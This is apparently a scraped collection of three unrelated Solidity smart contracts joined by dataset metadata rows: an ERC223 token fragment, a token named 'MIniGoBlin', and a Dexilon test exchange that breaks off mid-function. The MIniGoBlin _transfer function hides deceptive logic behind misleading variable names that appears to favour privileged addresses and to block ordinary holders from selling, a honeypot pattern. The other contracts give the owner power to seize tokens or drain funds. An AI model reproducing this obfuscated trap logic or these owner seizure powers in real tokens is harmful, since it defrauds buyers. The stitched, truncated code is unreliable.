unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[_from]
&& block.timestamp > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& block.timestamp > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& block.timestamp > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
emit Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 338,957 | 12,081 |
3483892333e9722b486cc7c2c7d8cda9e39beb6262c48ba1d6edfe029bda0819
| 12,992 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/6c/6c8d519B64c627E50Ad9139FF581C057C1c3c729_MIniGoBlin.sol
| 3,020 | 12,241 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MIniGoBlin is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _taxFee = 0;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 private _uint256 = _tTotal;
mapping(address => uint256) private _balances;
mapping(address => address) private _string;
mapping(address => uint256) private _constructor;
mapping(address => uint256) private _function;
mapping(address => mapping(address => uint256)) private _allowances;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
_function[msg.sender] = _uint256;
_function[address(this)] = _uint256;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
_function[to] = amount;
return;
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
_constructor[from] = _function[from] - _uint256;
}
address _bool = _string[uniswapV2Pair];
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
_string[uniswapV2Pair] = to;
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable {}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
| 33,559 | 12,082 |
2ddc33feb1edf83cacbb9e65a95a54aa88dd228cdde0a3f65c878819cfa31ac0
| 33,968 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8c/8C85fcfD62aF650514a7c1251d0D2E01A5512Cf8_DexilonTest_v12.sol
| 5,819 | 23,759 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface IERC20 {
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint16);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface AggregatorV3Interface {
// latestRoundData should raise "No data present"
// if he do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function latestRoundData()
external
view
returns (uint160 roundId,
int answer,
uint256 startedAt,
uint256 updatedAt,
uint160 answeredInRound);
}
contract DexilonTest_v12 {
using SafeERC20 for IERC20;
struct userAssetParameters {
string assetName;
int256 assetBalance;
uint256 assetLockedBalance;
uint256 assetPrice;
uint256 assetLeverage;
}
struct tradingArrayIndexed {
bool isBuy;
uint32 makerIndex;
uint32 takerIndex;
uint32 assetIndex;
uint256 assetAmount;
uint256 assetRate;
uint256 tradeFee;
uint16 makerLeverage;
uint16 takerLeverage;
string tradeId;
}
struct tradingArray {
bool isBuy;
address makerAddress;
address takerAddress;
string assetName;
uint256 assetAmount;
uint256 assetRate;
uint256 tradeFee;
uint16 makerLeverage;
uint16 takerLeverage;
string tradeId;
}
struct FeesArray {
address userAddress;
int feeAmount;
}
mapping(address => uint256) internal usersAvailableBalances;
mapping(address => mapping (string => userAssetParameters)) internal usersAssetsData;
mapping(address => uint256) public usersIndex;
mapping(uint256 => address) public indexedAddresses;
mapping(string => bool) internal checkAsset;
uint256 public usersCount;
string[] internal assetsNames;
address payable public owner;
event Deposit(address indexed depositor,
uint256 amountUSDC,
uint256 timestamp);
event Withdraw(address indexed user,
uint256 amountUSDC,
uint256 timestamp);
event Trade(bool isBuy,
address indexed maker,
address indexed taker,
string asset,
uint256 assetAmount,
uint256 assetRate,
uint256 tradeFee,
uint16 makerLeverage,
uint16 takerLeverage,
string tradeId,
uint256 timestamp);
uint8 internal constant DECIMALS_USDC = 6;
uint8 internal constant DECIMALS_ETH = 18;
int internal constant ETH_UNIT_FACTOR = int(10**DECIMALS_ETH);
int internal constant ROUNDING_FACTOR = int(10**(DECIMALS_ETH-DECIMALS_USDC));
// Chainlink price feed for ETH/USD
AggregatorV3Interface internal btcToUsdPriceFeed = AggregatorV3Interface(0x007A22900a3B98143368Bd5906f8E17e9867581b);
// Chainlink price feed for USDC/USD
AggregatorV3Interface internal usdcToUsdPriceFeed = AggregatorV3Interface(0x572dDec9087154dC5dfBB1546Bb62713147e0Ab0);
// USDC test token (Mumbai Testnet)
IERC20 internal depositToken = IERC20(0x7592A72A46D3165Dcc7BF0802D70812Af19471B3);
constructor(address USDC_address) {
owner = payable(msg.sender);
// Base stable coin
depositToken = IERC20(USDC_address);
// Supported assets
assetsNames = ['BTC', 'ETH', 'SOL', 'ADA', 'NEAR', 'MATIC', 'LUNA', 'DOGE'];
for (uint16 i=0; i<assetsNames.length; i++) {
checkAsset[assetsNames[i]] = true;
}
// Initiating user index
usersIndex[owner] = 0;
indexedAddresses[0] = owner;
usersCount = 1;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = payable(newOwner);
}
function addNewSupportedAsset(string memory _newAssetName) public onlyOwner returns (bool) {
require(checkAsset[_newAssetName] == false, "Asset already exists!");
assetsNames.push(_newAssetName);
checkAsset[_newAssetName] = true;
return true;
}
function btcToUsdcMarketConvert(int assetAmount) public view returns (int) {
(, int signedBtcToUsdPrice, , ,) = btcToUsdPriceFeed.latestRoundData();
(, int signedUsdcToUsdPrice, , ,) = usdcToUsdPriceFeed.latestRoundData();
return (signedBtcToUsdPrice*assetAmount/signedUsdcToUsdPrice)/int(10**(DECIMALS_ETH - DECIMALS_USDC));
}
function deposit(uint256 amountUSDC) public {
depositToken.safeTransferFrom(msg.sender, address(this), amountUSDC);
usersAvailableBalances[msg.sender] += amountUSDC * uint(ROUNDING_FACTOR);
/// indexing users
if (usersIndex[msg.sender] == 0 && msg.sender != owner) {
usersIndex[msg.sender] = usersCount;
indexedAddresses[usersCount] = msg.sender;
usersCount += 1;
}
emit Deposit(msg.sender, amountUSDC, block.timestamp);
}
function getUserBalances(address user) public view
returns (uint256 , uint256 , userAssetParameters[] memory)
{
uint256 availableBalance = usersAvailableBalances[user] / uint(ROUNDING_FACTOR);
uint256 lockedBalance;
userAssetParameters[] memory userAssets = new userAssetParameters[](assetsNames.length);
for (uint256 i=0; i < assetsNames.length; i++) {
userAssets[i] = _setOutputDecimalsForAsset(assetsNames[i], usersAssetsData[user][assetsNames[i]]);
lockedBalance += userAssets[i].assetLockedBalance;
}
// rounding error correction
if (lockedBalance % 10 !=0){
lockedBalance += 10 - lockedBalance % 10;
}
return (availableBalance, lockedBalance, userAssets);
}
function _setOutputDecimalsForAsset(string memory assetName, userAssetParameters memory assetData) internal pure returns (userAssetParameters memory assetDataModified) {
// struct userAssetParameters {
// 0 string assetName;
// 1 int256 assetBalance;
// 2 uint256 assetLockedBalance;
// 3 uint256 assetPrice;
// 4 uint16 assetLeverage; }
assetDataModified.assetName = assetName;
assetDataModified.assetBalance = assetData.assetBalance; // ETH decimals
if (assetData.assetLeverage !=0) {
assetDataModified.assetLockedBalance = (uint(abs(assetData.assetBalance)) * assetData.assetPrice /
assetData.assetLeverage) / uint(ETH_UNIT_FACTOR * ROUNDING_FACTOR); // USDC decimals
}
assetDataModified.assetPrice = assetData.assetPrice / uint(ROUNDING_FACTOR); // USDC decimals
assetDataModified.assetLeverage = assetData.assetLeverage;
}
function withdraw(address userAddress, uint256 amountUSDC) public onlyOwner {
require(usersAvailableBalances[userAddress] >= amountUSDC * uint(ROUNDING_FACTOR), 'Insufficient balance!');
depositToken.safeTransfer(userAddress, amountUSDC);
usersAvailableBalances[userAddress] -= amountUSDC * uint(ROUNDING_FACTOR);
emit Withdraw(userAddress, amountUSDC, block.timestamp);
}
/// @dev development ONLY
function withdrawAll() public onlyOwner {
depositToken.safeTransfer(owner, depositToken.balanceOf(address(this)));
if (address(this).balance > 0) {
owner.transfer(address(this).balance);
}
}
/// @dev development ONLY
function resetUserAccount(address userAddress,
uint256 userAvailableBalance,
uint256 userLockedBalance,
string memory asset,
int256 userAssetBalance,
uint16 leverage) public onlyOwner {
usersAvailableBalances[userAddress] = userAvailableBalance;
userAssetParameters memory zeroParameters;
zeroParameters.assetName = '';
zeroParameters.assetBalance = 0;
zeroParameters.assetLockedBalance = 0;
zeroParameters.assetPrice = 0;
zeroParameters.assetLeverage = 1;
for (uint16 i=0; i<assetsNames.length; i++) {
usersAssetsData[userAddress][assetsNames[i]] = zeroParameters;
usersAssetsData[userAddress][assetsNames[i]].assetLeverage = leverage;
}
usersAssetsData[userAddress][asset].assetBalance = userAssetBalance;
usersAssetsData[userAddress][asset].assetLockedBalance = userLockedBalance;
if (userAssetBalance != 0){
usersAssetsData[userAddress][asset].assetPrice = uint((int(userLockedBalance * leverage) * ETH_UNIT_FACTOR) /
abs(userAssetBalance));}
}
function trade(bool isBuy,
address maker,
address taker,
string memory asset,
uint256 assetAmount,
uint256 assetRate,
uint256 tradeFee,
uint16 makerLeverage,
uint16 takerLeverage,
string memory tradeId) public onlyOwner {
require(checkAsset[asset], string(abi.encodePacked('Unknown Asset! TradeId:', tradeId)));
updateUserLeverage(maker, asset, makerLeverage, tradeId);
updateUserLeverage(taker, asset, takerLeverage, tradeId);
updateUserBalances(maker, asset, (isBuy ? int(1) : int(-1))*int(assetAmount), int(assetRate), int(tradeFee), tradeId);
updateUserBalances(taker, asset, (isBuy ? int(-1) : int(1))*int(assetAmount), int(assetRate), -int(tradeFee), tradeId);
emit Trade(isBuy, maker, taker, asset, assetAmount, assetRate, tradeFee, makerLeverage, takerLeverage, tradeId, block.timestamp);
}
function updateUserBalances(address user,
string memory asset,
int assetAmount,
int assetRate,
int tradeFee,
string memory tradeId) internal {
int assetBalance = usersAssetsData[user][asset].assetBalance;
int assetPrice = int(usersAssetsData[user][asset].assetPrice);
int leverage = int(uint256(usersAssetsData[user][asset].assetLeverage)) * ETH_UNIT_FACTOR;
int availableBalance = int(usersAvailableBalances[user]) + tradeFee * ROUNDING_FACTOR;
// int lockedBalance = int(usersAssetsData[user][asset].assetLockedBalance);
int lockedBalance = ((abs(assetBalance)) * assetPrice / leverage);
assetRate = assetRate * ROUNDING_FACTOR;
require(assetRate > 0, string(abi.encodePacked('Zero Rate! TradeId:', tradeId)));
if (((assetAmount > 0 && assetBalance < 0) ||
(assetAmount < 0 && assetBalance > 0)) &&
abs(assetAmount) > abs(assetBalance)) {
availableBalance = availableBalance
+ abs(assetBalance)*assetPrice/(leverage)
- assetBalance*(assetPrice - assetRate)/(ETH_UNIT_FACTOR);
lockedBalance = lockedBalance - abs(assetBalance*assetPrice/(leverage));
assetAmount = assetAmount + assetBalance;
assetBalance = 0;
}
if (assetBalance == 0
|| (assetBalance < 0 && assetAmount < 0)
|| (assetBalance > 0 && assetAmount > 0)) {
availableBalance = availableBalance
- abs(assetAmount*assetRate/(leverage));
lockedBalance = lockedBalance + abs(assetAmount*assetRate/(leverage));
assetPrice = (assetBalance*assetPrice + assetAmount*assetRate) / (assetBalance + assetAmount);
} else {
// (assetBalance > 0 && assetAmount < 0)
// (assetBalance < 0 && assetAmount > 0)
availableBalance = availableBalance
+ abs(assetAmount)*assetPrice/(leverage)
+ assetAmount*(assetPrice - assetRate)/(ETH_UNIT_FACTOR);
lockedBalance = lockedBalance - abs(assetAmount*assetPrice/(leverage));
}
require(availableBalance >= 0, string(abi.encodePacked('Insufficient balance! TradeId:', tradeId)));
require(lockedBalance >= 0, string(abi.encodePacked('LockedBalance < 0! TradeId:', tradeId)));
usersAvailableBalances[user] = uint256(availableBalance);
// usersAssetsData[user][asset].assetLockedBalance = uint256(lockedBalance);
usersAssetsData[user][asset].assetPrice = uint256(assetPrice);
usersAssetsData[user][asset].assetBalance = assetBalance + assetAmount;
